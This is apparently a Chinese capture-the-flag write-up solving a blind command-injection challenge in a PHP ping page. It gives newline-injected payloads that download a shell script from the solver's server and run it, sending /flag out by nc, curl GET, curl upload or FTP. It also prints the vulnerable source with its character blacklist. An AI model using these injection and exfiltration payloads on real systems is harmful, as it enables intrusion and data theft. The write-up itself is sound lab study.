预期解

通过命令执行漏洞,读文件并设法传出内容。

WriteUp

由于没有详细回显,只能显示最后一条命令成功与否,所以正常的cat思路肯定是不行了。

由于符号屏蔽严重,直接执行复杂命令的可能性比较小。

然后由于>没有被屏蔽,所以可以写文件。

由于本题未提供可视化发包页面,所以手动构造post时注意加上Content-Type: application/x-www-form-urlencoded的请求头。

方法1:nc传回显

自己服务器存放一个可被公网下载的sh文件,内容为cat /flag | nc 你的服务器IP 你的NC监听端口,向目标发送payloadip=127.0.0.1%0acurl 服务器的sh文件url > /tmp/1.sh,服务器开启nc监听nc -lvvp 你的NC监听端口,向目标发送payloadip=127.0.0.1%0ash /tmp/1.sh,服务器上的nc成功显示flag。

方法2:curl get传参

自己服务器存放一个可被公网下载的sh文件,内容如下:
flag=$(cat /flag)
curl 你的服务器首页url -G --data-urlencode "flag=$flag"
向目标发送payloadip=127.0.0.1%0acurl 服务器的sh文件url > /tmp/1.sh,向目标发送payloadip=127.0.0.1%0ash /tmp/1.sh,查看服务器访问日志,url解码传参,得到flag。

方法3:curl post传文件

自己服务器存放一个可被公网下载的sh文件,内容为curl 你的服务器php传文件页url -F "file=@/flag",再存放一个php文件用于上传文件,内容如下:

<?php
if ($_FILES["file"]["error"] > 0)
{
    echo "错误:: " . $_FILES["file"]["error"] . "\n";
}
else
{
    echo "文件名: " . $_FILES["file"]["name"] . "\n";
    echo "文件类型: " . $_FILES["file"]["type"] . "\n";
    echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB" . "\n";

    // 判断当前目录下的 upload 目录是否存在该文件
    // 如果没有 upload 目录,你需要创建它,upload 目录权限为 777
    if (file_exists("upload/" . $_FILES["file"]["name"]))
    {
        echo $_FILES["file"]["name"] . " 文件已经存在。" . "\n";
    }
    else
    {
        // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "文件位置: " . "./upload/" . $_FILES["file"]["name"] . "\n";
    }
}
?>

向目标发送payloadip=127.0.0.1%0acurl 服务器的sh文件url > /tmp/1.sh,向目标发送payloadip=127.0.0.1%0ash /tmp/1.sh,查看服务器网站upload文件夹,得到flag文件。

方法4:curl ftp传文件

自己服务器存放一个可被公网下载的sh文件,内容为curl -T /flag -u ftp用户名:ftp密码 ftp://ftp地址:ftp端口,自己服务器开放一个ftp渠道用于接收文件向目标发送payloadip=127.0.0.1%0acurl 服务器的sh文件url > /tmp/1.sh,向目标发送payloadip=127.0.0.1%0ash /tmp/1.sh,查看服务器ftp文件夹,得到flag文件。

可能由于我服务器ftp架设的问题,未试验成功,此方法有待论证。

flag

nyctf{呐呐,你一定会拿到这个flag的吧}

题目后台源码

<?php
$status = "c4ca4238a0b923820dcc509a6f75849b"; // md5("1")
function waf($cmd){
    $black_list = ["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"", "'", "~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"];
    foreach($black_list as $k => $v) {
        if(strpos($cmd, $v) !== false){
            echo 'IP包含恶意字符.';
            exit();
        }
    }
}

if(isset($_POST["ip"]) && $_POST["ip"] != "") {
    waf($_POST["ip"]);

    $command = "ping -nc 1 " . $_POST["ip"] . " && echo '".$status."'";
    exec($command, $cmd_result);
    $cmd_result = implode("\n", $cmd_result);
    if(strpos($cmd_result, $status) !== false){
        echo 'IP Ping 成功.';
        exit();
    } else {
        echo 'IP Ping 失败.';
        exit();
    }
} else {
    echo "试试看POST ip=xxx吧";
}
?>